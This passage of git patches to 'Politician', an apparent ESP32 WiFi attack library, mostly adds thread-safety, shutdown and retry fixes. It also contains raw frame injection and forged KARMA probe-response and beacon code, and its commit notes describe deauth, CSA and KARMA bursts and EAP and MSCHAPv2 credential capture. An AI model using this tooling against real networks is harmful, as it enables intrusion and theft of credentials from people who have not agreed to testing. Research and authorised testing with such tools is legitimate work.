registered = true; break; } // already registered (re-begin) } @@ -114,16 +152,18 @@ Error Politician::begin(const Config &cfg) { } } if (!registered) { + portEXIT_CRITICAL(&_instanceMux); _log("[WiFi] ERR: all %d instance slots occupied\n", POLITICIAN_MAX_INSTANCES); return ERR_MAX_INSTANCES; } } + portEXIT_CRITICAL(&_instanceMux); // Validate and clamp critical config values if (_cfg.smart_hopping && _cfg.hop_min_dwell_ms >= _cfg.hop_max_dwell_ms) { _log("[Config] WARNING: hop_min_dwell_ms (%u) >= hop_max_dwell_ms (%u); clamping max to min+50ms\n", _cfg.hop_min_dwell_ms, _cfg.hop_max_dwell_ms); - _cfg.hop_max_dwell_ms = _cfg.hop_min_dwell_ms + 50; + _cfg.hop_max_dwell_ms = static_cast(_cfg.hop_min_dwell_ms + 50); } if (_cfg.fish_timeout_ms < 500) { _log("[Config] WARNING: fish_timeout_ms (%u) < 500ms; clamping to 500ms\n", _cfg.fish_timeout_ms); @@ -138,24 +178,30 @@ Error Politician::begin(const Config &cfg) { #endif // ── WiFi driver init — only the first instance does this ───────────────── - if (!_wifiInitialized) { + portENTER_CRITICAL(&_instanceMux); + bool needWifiInit = !_wifiInitialized; + if (needWifiInit) { + _wifiInitialized = true; + } + portEXIT_CRITICAL(&_instanceMux); + + if (needWifiInit) { wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT(); - if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT; - if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT; + if (esp_wifi_init(&wifi_cfg) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } + wifiDriverStarted = true; + if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } - if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT; - if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT; + if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } + if (esp_wifi_start() != ESP_OK) { rollback(); return ERR_WIFI_INIT; } esp_log_level_set("wifi", ESP_LOG_NONE); wifi_promiscuous_filter_t filt = { .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA }; - if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT; - if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT; - if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT; - - _wifiInitialized = true; + if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } + if (esp_wifi_set_promiscuous(true) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } + if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } } wifi_config_t ap_cfg = {}; @@ -169,30 +215,34 @@ Error Politician::begin(const Config &cfg) { ap_cfg.ap.authmode = WIFI_AUTH_OPEN; ap_cfg.ap.channel = 1; ap_cfg.ap.beacon_interval = 1000; - esp_wifi_set_config(WIFI_IF_AP, &ap_cfg); + if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac); _log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", _ownStaMac[0], _ownStaMac[1], _ownStaMac[2], _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]); - if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT; + if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) { rollback(); return ERR_WIFI_INIT; } // Initialize Thread Safety if (!_lock) { _lock = xSemaphoreCreateRecursiveMutex(); - if (!_lock) return ERR_WIFI_INIT; + if (!_lock) { rollback(); return ERR_WIFI_INIT; } } // Initialize Async Processing Core (Ringbuffer + Task) if (!_rb) { _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT); - if (!_rb) return ERR_WIFI_INIT; + if (!_rb) { rollback(); return ERR_WIFI_INIT; } } + _shutdownRequested = false; + _workerExited = false; + _isrUsers = 0; + if (!_task) { xTaskCreatePinnedToCore(_workerTask, "pol_worker", 4096, this, 5, &_task, 0); - if (!_task) return ERR_WIFI_INIT; + if (!_task) { rollback(); return ERR_WIFI_INIT; } } _initialized = true; @@ -278,6 +328,8 @@ void Politician::stopHopping() { } void Politician::stop() { + _shutdownRequested = true; + if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { if (_fishState != FISH_IDLE) { esp_wifi_disconnect(); @@ -292,13 +344,53 @@ void Politician::stop() { _active = false; xSemaphoreGiveRecursive(_lock); } - // Deregister from the shared instance registry so the ISR skips this instance. + + // Deregister from the shared instance registry under _instanceMux so the ISR skips this instance. + portENTER_CRITICAL(&_instanceMux); for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { if (_instances[i] == this) { _instances[i] = nullptr; break; } } + portEXIT_CRITICAL(&_instanceMux); + + while (_isrUsers != 0) { + vTaskDelay(pdMS_TO_TICKS(1)); + } + + if (_task && xTaskGetCurrentTaskHandle() == _task) { + _log("[WiFi] stop() called by worker; cleanup deferred until callback returns\n"); + _initialized = false; + return; + } + + if (_task) { + ulTaskNotifyTake(pdTRUE, 0); + + portENTER_CRITICAL(&_instanceMux); + bool needsWait = !_workerExited; + if (needsWait) { + _stopWaiter = xTaskGetCurrentTaskHandle(); + } + portEXIT_CRITICAL(&_instanceMux); + + if (needsWait) { + ulTaskNotifyTake(pdTRUE, portMAX_DELAY); + } + _task = nullptr; + _stopWaiter = nullptr; + } + + if (_rb) { + vRingbufferDelete(_rb); + _rb = nullptr; + } + if (_lock) { + vSemaphoreDelete(_lock); + _lock = nullptr; + } + _initialized = false; _log("[WiFi] Engine stopped\n"); } @@ -901,20 +993,37 @@ void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf; uint16_t total_len = sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len; + Politician *targets[POLITICIAN_MAX_INSTANCES]; + uint8_t count = 0; + + portENTER_CRITICAL_ISR(&_instanceMux); for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { Politician *inst = _instances[i]; - if (!inst || !inst->_active || !inst->_rb) continue; + if (inst && inst->_active && inst->_rb) { + inst->_isrUsers++; + targets[count++] = inst; + } + } + portEXIT_CRITICAL_ISR(&_instanceMux); + + for (uint8_t i = 0; i < count; i++) { + Politician *inst = targets[i]; if (xRingbufferSendFromISR(inst->_rb, buf, total_len, NULL) != pdTRUE) { inst->_stats.dropped++; } + portENTER_CRITICAL_ISR(&_instanceMux); + if (inst->_isrUsers > 0) { + inst->_isrUsers--; + } + portEXIT_CRITICAL_ISR(&_instanceMux); } } void Politician::_workerTask(void *pvParameters) { Politician *self = (Politician *)pvParameters; - while (true) { + while (!self->_shutdownRequested) { size_t size = 0; - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY); + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, pdMS_TO_TICKS(20)); if (pkt) { // Infer frame type from 802.11 Frame Control field uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8); @@ -935,6 +1044,18 @@ void Politician::_workerTask(void *pvParameters) { vRingbufferReturnItem(self->_rb, (void *)pkt); } } + + portENTER_CRITICAL(&_instanceMux); + self->_workerExited = true; + self->_task = nullptr; + TaskHandle_t waiter = self->_stopWaiter; + self->_stopWaiter = nullptr; + portEXIT_CRITICAL(&_instanceMux); + + if (waiter) { + xTaskNotifyGive(waiter); + } + vTaskDelete(NULL); } void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) { diff --git a/src/Politician.h b/src/Politician.h index 771682e..01e8cf4 100644 --- a/src/Politician.h +++ b/src/Politician.h @@ -6,6 +6,7 @@ #include #include #include +#include #include "PoliticianTypes.h" namespace politician { @@ -105,6 +106,11 @@ class Politician { public: Politician(); + /** + * @brief Destructor. Ensures the engine is stopped and resources released. + */ + ~Politician(); + /** * @brief Initializes the WiFi driver in promiscuous mode. * @param cfg Optional configuration struct. @@ -159,6 +165,8 @@ class Politician { * @brief Full engine teardown. Aborts any in-progress attack, clears the * target, stops hopping, and disables frame processing in one call. * Use this instead of combining stopHopping() + clearTarget() + setActive(false). + * @note If called by the worker or one of its callbacks, shutdown is marked and + * resource cleanup is deferred; call stop() again after the callback returns. */ void stop(); @@ -535,12 +543,17 @@ class Politician { static void _workerTask(void *pvParameters); /** Per-process instance registry; populated by begin(), cleared by stop(). */ static Politician *_instances[POLITICIAN_MAX_INSTANCES]; + static portMUX_TYPE _instanceMux; /** Set to true after the first successful begin() so subsequent calls skip WiFi driver init. */ static bool _wifiInitialized; RingbufHandle_t _rb = nullptr; TaskHandle_t _task = nullptr; + TaskHandle_t _stopWaiter = nullptr; SemaphoreHandle_t _lock = nullptr; + volatile bool _shutdownRequested = true; + volatile bool _workerExited = true; + volatile uint32_t _isrUsers = 0; void _handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type); void _handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, uint16_t len, int8_t rssi); diff --git a/src/PoliticianTypes.h b/src/PoliticianTypes.h index 9415769..0f9855e 100644 --- a/src/PoliticianTypes.h +++ b/src/PoliticianTypes.h @@ -167,6 +167,8 @@ inline int validateConfig(const Config &cfg, const char **out, uint8_t maxOut) { auto w = [&](const char *msg) { if (n < maxOut) out[n++] = msg; }; if (cfg.smart_hopping && cfg.hop_min_dwell_ms >= cfg.hop_max_dwell_ms) w("hop_min_dwell_ms >= hop_max_dwell_ms — max will be clamped to min+50ms"); + if (cfg.smart_hopping && cfg.hop_min_dwell_ms > UINT16_MAX - 50) + w("hop_min_dwell_ms is too large for the min+50ms clamp"); if (cfg.fish_timeout_ms < 500) w("fish_timeout_ms < 500 — will be clamped to 500ms"); if (cfg.csa_wait_ms < 1000) From ca4e5947e8816549324addf99010fd83f57fdf92 Mon Sep 17 00:00:00 2001 From: 0ldev Date: Wed, 28 Oct 2026 21:19:46 +0000 Subject: [PATCH 13/14] ci(deps): bump github-actions group dependencies --- .github/workflows/codeql.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 721a884..47bbae4 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -38,7 +38,7 @@ jobs: run: pip install platformio intelhex - name: Initialize CodeQL - uses: github/codeql-action/init@4bfa242aa49c5f7c6770b98670d354a7dfac05f8 # v3.39.1 + uses: github/codeql-action/init@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: languages: c-cpp queries: security-extended @@ -51,6 +51,6 @@ jobs: pio run -d examples/FuzzingAndInjection - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@4bfa242aa49c5f7c6770b98670d354a7dfac05f8 # v3.39.1 + uses: github/codeql-action/analyze@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: category: "/language:c-cpp" From 82d4ef83be025b34157e4136de0e6617fc0a3d20 Mon Sep 17 00:00:00 2001 From: Albert Katri Date: Thu, 29 Oct 2026 13:47:27 -0300 Subject: [PATCH 14/14] fix(core,storage,rf): harden thread safety, RF arbitration, TX backpressure, and memory footprint - Acquire recursive mutex across all callback setters, state mutators, and channel queries - Release mutex before invoking user callback in forEachAp() to avoid re-entrant deadlocks - Fix ringbuffer high-water mark calculation (uxItemsWaiting bytes used vs free) - Add cross-instance channel lock arbitration (_channelLockOwner) and peer lock awareness in tick() - Tune hardware radio channel before CSA, Deauth, BTM, and KARMA bursts and switch KARMA to WIFI_IF_AP - Engage temporary channel lock on EAP-Identity and MSCHAPv2 Challenge frames during hopping - Add _txRaw() helper with ESP_ERR_NO_MEM backoff retry, tx_packets/tx_dropped stats, and FIFO inject queue - Eliminate 2.5 KB stack buffer in PcapngFileLogger::writePacket() and raise HandshakeRecord buffer to 1024 B - Add zero-heap toHC22000() buffer overload, streaming CSV loggers, auto-flush toggle, and NVS cache spinlock - Pack Config, ApRecord, ApCacheEntry, and InjectFrame structs and add compile-time capacity overrides --- src/Politician.cpp | 530 +++++++++++++++++++++--------------- src/Politician.h | 380 ++++++++++++++++++++++---- src/PoliticianFingerprint.h | 82 ++++-- src/PoliticianFormat.cpp | 100 ++++--- src/PoliticianFormat.h | 11 + src/PoliticianStorage.h | 482 +++++++++++++++++++++++++++----- src/PoliticianStress.cpp | 40 ++- src/PoliticianStress.h | 12 +- src/PoliticianTypes.h | 78 +++--- 9 files changed, 1274 insertions(+), 441 deletions(-) diff --git a/src/Politician.cpp b/src/Politician.cpp index d0c672b..31d5e65 100644 --- a/src/Politician.cpp +++ b/src/Politician.cpp @@ -11,6 +11,7 @@ namespace politician { // ─── Static members ─────────────────────────────────────────────────────────── Politician *Politician::_instances[POLITICIAN_MAX_INSTANCES] = {}; bool Politician::_wifiInitialized = false; +Politician *Politician::_channelLockOwner = nullptr; portMUX_TYPE Politician::_instanceMux = portMUX_INITIALIZER_UNLOCKED; // Default 2.4GHz hopping sequence (channels 1-13) @@ -69,6 +70,8 @@ Politician::Politician() memset(_ignoreList, 0, sizeof(_ignoreList)); memset(_ssidOverrides, 0, sizeof(_ssidOverrides)); _ssidOverrideIdx = 0; + _injectHead = 0; + _injectCount = 0; memset(_eapMethods, 0, sizeof(_eapMethods)); #ifndef POLITICIAN_NO_MSCHAPV2 memset(_msChapSessions, 0, sizeof(_msChapSessions)); @@ -85,20 +88,36 @@ Politician::~Politician() { } // ─── Logging ───────────────────────────────────────────────────────────────── -void Politician::_log(const char *fmt, ...) { #ifndef POLITICIAN_NO_LOGGING +void Politician::_log(const char *fmt, ...) { char buf[256]; va_list args; va_start(args, fmt); vsnprintf(buf, sizeof(buf), fmt, args); va_end(args); - if (_logCb) { - _logCb(buf); + LogCb cb = _logCb; + if (cb) { + cb(buf); } else { printf("%s", buf); } +} #endif + +bool Politician::_txRaw(wifi_interface_t iface, const void *buf, uint16_t len) { + if (!buf || len == 0) return false; + esp_err_t err = esp_wifi_80211_tx(iface, (void *)buf, len, false); + if (err == ESP_ERR_NO_MEM) { + vTaskDelay(1); + err = esp_wifi_80211_tx(iface, (void *)buf, len, false); + } + if (err == ESP_OK) { + _stats.tx_packets++; + return true; + } + _stats.tx_dropped++; + return false; } // ─── begin() ───────────────────────────────────────────────────────────────── @@ -232,7 +251,7 @@ Error Politician::begin(const Config &cfg) { // Initialize Async Processing Core (Ringbuffer + Task) if (!_rb) { - _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT); + _rb = xRingbufferCreate(POLITICIAN_RB_SIZE, RINGBUF_TYPE_NOSPLIT); if (!_rb) { rollback(); return ERR_WIFI_INIT; } } @@ -264,20 +283,58 @@ void Politician::setActive(bool active) { Error Politician::setChannel(uint8_t ch) { if (!_initialized) return ERR_NOT_ACTIVE; if (!isValidChannel(ch)) return ERR_INVALID_CH; - if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { - _channel = ch; - esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE); + if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) { + return ERR_LOCK_TIMEOUT; + } + portENTER_CRITICAL(&_instanceMux); + if (_channelLockOwner != nullptr && _channelLockOwner != this) { + portEXIT_CRITICAL(&_instanceMux); xSemaphoreGiveRecursive(_lock); + return ERR_BUSY; } + portEXIT_CRITICAL(&_instanceMux); + _channel = ch; + _rxChannel = ch; + esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE); + xSemaphoreGiveRecursive(_lock); return OK; } Error Politician::lockChannel(uint8_t ch) { - if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { - _hopping = false; + if (!_initialized) return ERR_NOT_ACTIVE; + if (!isValidChannel(ch)) return ERR_INVALID_CH; + if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) { + return ERR_LOCK_TIMEOUT; + } + portENTER_CRITICAL(&_instanceMux); + if (_channelLockOwner != nullptr && _channelLockOwner != this) { + portEXIT_CRITICAL(&_instanceMux); xSemaphoreGiveRecursive(_lock); + return ERR_BUSY; + } + _channelLockOwner = this; + portEXIT_CRITICAL(&_instanceMux); + _hopping = false; + _channel = ch; + _rxChannel = ch; + esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE); + xSemaphoreGiveRecursive(_lock); + return OK; +} + +void Politician::resetStats() { + if (_lock) { + if (xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + portENTER_CRITICAL(&_instanceMux); + memset(&_stats, 0, sizeof(_stats)); + portEXIT_CRITICAL(&_instanceMux); + xSemaphoreGiveRecursive(_lock); + } + } else { + portENTER_CRITICAL(&_instanceMux); + memset(&_stats, 0, sizeof(_stats)); + portEXIT_CRITICAL(&_instanceMux); } - return setChannel(ch); } void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) { @@ -309,6 +366,11 @@ void Politician::markCaptured(const uint8_t *bssid) { void Politician::startHopping(uint16_t dwellMs) { if (!_initialized) return; if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { + portENTER_CRITICAL(&_instanceMux); + if (_channelLockOwner == this) { + _channelLockOwner = nullptr; + } + portEXIT_CRITICAL(&_instanceMux); _hopping = true; _active = true; _hopIndex = 0; @@ -328,7 +390,22 @@ void Politician::stopHopping() { } void Politician::stop() { + portENTER_CRITICAL(&_instanceMux); + _initialized = false; + _active = false; _shutdownRequested = true; + if (_channelLockOwner == this) { + _channelLockOwner = nullptr; + } + bool otherActive = false; + for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { + if (_instances[i] == this) { + _instances[i] = nullptr; + } else if (_instances[i] != nullptr) { + otherActive = true; + } + } + portEXIT_CRITICAL(&_instanceMux); if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { if (_fishState != FISH_IDLE) { @@ -341,27 +418,20 @@ void Politician::stop() { _autoTargetActive = false; _m1Locked = false; _probeLocked = false; - _active = false; xSemaphoreGiveRecursive(_lock); } - // Deregister from the shared instance registry under _instanceMux so the ISR skips this instance. - portENTER_CRITICAL(&_instanceMux); - for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { - if (_instances[i] == this) { - _instances[i] = nullptr; - break; - } - } - portEXIT_CRITICAL(&_instanceMux); - while (_isrUsers != 0) { vTaskDelay(pdMS_TO_TICKS(1)); } + if (!otherActive) { + esp_wifi_set_promiscuous(false); + esp_wifi_set_promiscuous_rx_cb(nullptr); + } + if (_task && xTaskGetCurrentTaskHandle() == _task) { _log("[WiFi] stop() called by worker; cleanup deferred until callback returns\n"); - _initialized = false; return; } @@ -369,7 +439,7 @@ void Politician::stop() { ulTaskNotifyTake(pdTRUE, 0); portENTER_CRITICAL(&_instanceMux); - bool needsWait = !_workerExited; + bool needsWait = !_workerExited && _stopWaiter == nullptr; if (needsWait) { _stopWaiter = xTaskGetCurrentTaskHandle(); } @@ -382,16 +452,18 @@ void Politician::stop() { _stopWaiter = nullptr; } - if (_rb) { - vRingbufferDelete(_rb); - _rb = nullptr; + SemaphoreHandle_t lockToDelete = _lock; + _lock = nullptr; + RingbufHandle_t rbToDelete = _rb; + _rb = nullptr; + + if (rbToDelete) { + vRingbufferDelete(rbToDelete); } - if (_lock) { - vSemaphoreDelete(_lock); - _lock = nullptr; + if (lockToDelete) { + vSemaphoreDelete(lockToDelete); } - _initialized = false; _log("[WiFi] Engine stopped\n"); } @@ -406,25 +478,25 @@ void Politician::setAttackMask(uint8_t mask) { } void Politician::setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask) { - if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { - for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) { - if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) { - _attackOverrides[i].mask = mask; - xSemaphoreGiveRecursive(_lock); - return; - } + if (!bssid) return; + if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) return; + for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) { + if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) { + _attackOverrides[i].mask = mask; + xSemaphoreGiveRecursive(_lock); + return; } - for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) { - if (!_attackOverrides[i].active) { - _attackOverrides[i].active = true; - memcpy(_attackOverrides[i].bssid, bssid, 6); - _attackOverrides[i].mask = mask; - xSemaphoreGiveRecursive(_lock); - return; - } + } + for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) { + if (!_attackOverrides[i].active) { + _attackOverrides[i].active = true; + memcpy(_attackOverrides[i].bssid, bssid, 6); + _attackOverrides[i].mask = mask; + xSemaphoreGiveRecursive(_lock); + return; } - xSemaphoreGiveRecursive(_lock); } + xSemaphoreGiveRecursive(_lock); _log("[Attack] Override table full — ignoring per-BSSID mask request\n"); } @@ -503,13 +575,21 @@ uint8_t Politician::_getAttackMask(const uint8_t *bssid) const { // ─── Target mode ────────────────────────────────────────────────────────────── Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) { if (!_initialized) return ERR_NOT_ACTIVE; - if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT; + if (!bssid) return ERR_INVALID_ARG; + if (!isValidChannel(channel)) return ERR_INVALID_CH; + if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_LOCK_TIMEOUT; if (_isCaptured(bssid)) { xSemaphoreGiveRecursive(_lock); return ERR_ALREADY_CAPTURED; } + portENTER_CRITICAL(&_instanceMux); + if (_channelLockOwner == nullptr) { + _channelLockOwner = this; + } + portEXIT_CRITICAL(&_instanceMux); + memcpy(_targetBssid, bssid, 6); _targetChannel = channel; _hasTarget = true; @@ -537,6 +617,11 @@ void Politician::clearTarget() { if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { _hasTarget = false; memset(_targetBssid, 0, 6); + portENTER_CRITICAL(&_instanceMux); + if (_channelLockOwner == this) { + _channelLockOwner = nullptr; + } + portEXIT_CRITICAL(&_instanceMux); xSemaphoreGiveRecursive(_lock); } _log("[WiFi] Target cleared — wardriving mode\n"); @@ -544,17 +629,22 @@ void Politician::clearTarget() { Error Politician::injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms, bool wait_for_channel) { if (!_initialized) return ERR_NOT_ACTIVE; - if (len > 256) return ERR_INVALID_ARG; // Invalid length for queue + if (!payload || len == 0 || len > POLITICIAN_MAX_INJECT_LEN) return ERR_INVALID_ARG; + if (!isValidChannel(channel)) return ERR_INVALID_CH; - if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT; + if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_LOCK_TIMEOUT; if (!wait_for_channel) { - // Synchronous injection + // Synchronous injection: avoid clobbering an active off-channel handshake + if (_fishState != FISH_IDLE && _fishChannel != channel) { + xSemaphoreGiveRecursive(_lock); + return ERR_BUSY; + } esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel; _rxChannel = channel; _lastHopMs = millis(); - esp_wifi_80211_tx(WIFI_IF_STA, (void*)payload, len, false); + _txRaw(WIFI_IF_STA, payload, (uint16_t)len); _log("[Inject] Transmitted %d bytes on ch%d\n", (int)len, channel); if (lock_ms > 0) { // Temporarily lock the hopper for this duration @@ -562,24 +652,19 @@ Error Politician::injectCustomFrame(const uint8_t *payload, size_t len, uint8_t _m1LockEndMs = millis() + lock_ms; } } else { - // Asynchronous injection (queue) - bool queued = false; - for (int i = 0; i < MAX_INJECT_QUEUE; i++) { - if (!_injectQueue[i].active) { - _injectQueue[i].active = true; - _injectQueue[i].channel = channel; - _injectQueue[i].len = len; - _injectQueue[i].lock_ms = lock_ms; - memcpy(_injectQueue[i].payload, payload, len); - queued = true; - _log("[Inject] Queued %d bytes for ch%d\n", (int)len, channel); - break; - } - } - if (!queued) { + // Asynchronous injection (FIFO queue) + if (_injectCount >= MAX_INJECT_QUEUE) { xSemaphoreGiveRecursive(_lock); - return ERR_QUEUE_FULL; // Queue full + return ERR_QUEUE_FULL; } + uint8_t slot = (_injectHead + _injectCount) % MAX_INJECT_QUEUE; + _injectQueue[slot].active = true; + _injectQueue[slot].channel = channel; + _injectQueue[slot].len = (uint16_t)len; + _injectQueue[slot].lock_ms = lock_ms; + memcpy(_injectQueue[slot].payload, payload, len); + _injectCount++; + _log("[Inject] Queued %d bytes for ch%d\n", (int)len, channel); } xSemaphoreGiveRecursive(_lock); @@ -612,6 +697,7 @@ uint8_t Politician::getChannelsSortedByActivity(uint8_t *out, uint8_t count) con uint8_t chs[200]; uint32_t cnts[200]; uint8_t n = 0; + bool locked = (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) == pdTRUE); for (uint16_t i = 1; i < 200; i++) { if (_stats.channel_frames[i] > 0) { chs[n] = (uint8_t)i; @@ -619,6 +705,9 @@ uint8_t Politician::getChannelsSortedByActivity(uint8_t *out, uint8_t count) con n++; } } + if (locked) { + xSemaphoreGiveRecursive(_lock); + } for (uint8_t i = 1; i < n; i++) { uint8_t kc = chs[i]; uint32_t kn = cnts[i]; @@ -645,31 +734,33 @@ uint8_t Politician::setAutoChannelList(uint8_t topN) { } void Politician::setChannelBands(bool ghz24, bool ghz5) { - if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) { - _customChannelCount = 0; - if (ghz24) { - for (uint8_t i = 0; i < HOP_COUNT && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) { - _customChannels[_customChannelCount++] = HOP_SEQ[i]; - } + if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) return; + _customChannelCount = 0; + if (ghz24) { + for (uint8_t i = 0; i < HOP_COUNT && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) { + _customChannels[_customChannelCount++] = HOP_SEQ[i]; } - if (ghz5) { - for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON) && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) { - _customChannels[_customChannelCount++] = CHANNEL_5GHZ_COMMON[i]; - } + } + if (ghz5) { + for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON) && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) { + _customChannels[_customChannelCount++] = CHANNEL_5GHZ_COMMON[i]; } - _hopIndex = 0; - xSemaphoreGiveRecursive(_lock); } - if (_customChannelCount == 0) { + _hopIndex = 0; + uint8_t finalCount = _customChannelCount; + xSemaphoreGiveRecursive(_lock); + + if (finalCount == 0) { _log("[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n"); } else { _log("[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n", - _customChannelCount, (int)ghz24, (int)ghz5); + finalCount, (int)ghz24, (int)ghz5); } } Error Politician::setTargetBySsid(const char *ssid) { if (!_initialized) return ERR_NOT_ACTIVE; + if (!ssid) return ERR_INVALID_ARG; uint8_t ssid_len = (uint8_t)strlen(ssid); uint8_t found_bssid[6] = {}; uint8_t found_channel = 0; @@ -754,7 +845,7 @@ void Politician::_sendProbeRequest(const uint8_t *bssid, const char *ssid, uint8 frame[p++] = 0x01; frame[p++] = 0x08; // Supported Rates IE frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96; frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24; - esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false); + _txRaw(WIFI_IF_STA, frame, p); if (ssid && ssid_len > 0) _log("[Probe] Wordlist probe '%.*s' -> %02X:%02X:%02X:%02X:%02X:%02X\n", ssid_len, ssid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); @@ -831,12 +922,17 @@ void Politician::_sendKarmaResponse(const uint8_t *client, const char *ssid, // DS Parameter Set IE frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel; - esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false); + if (channel >= 1 && _channel != channel && !_m1Locked && !_probeLocked && _fishState == FISH_IDLE) { + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + _channel = channel; + } + + _txRaw(WIFI_IF_AP, frame, p); // ── Beacon (one burst to the same frame, DA flipped to broadcast) ──────── frame[0] = 0x80; frame[1] = 0x00; // FC: Beacon memset(frame + 4, 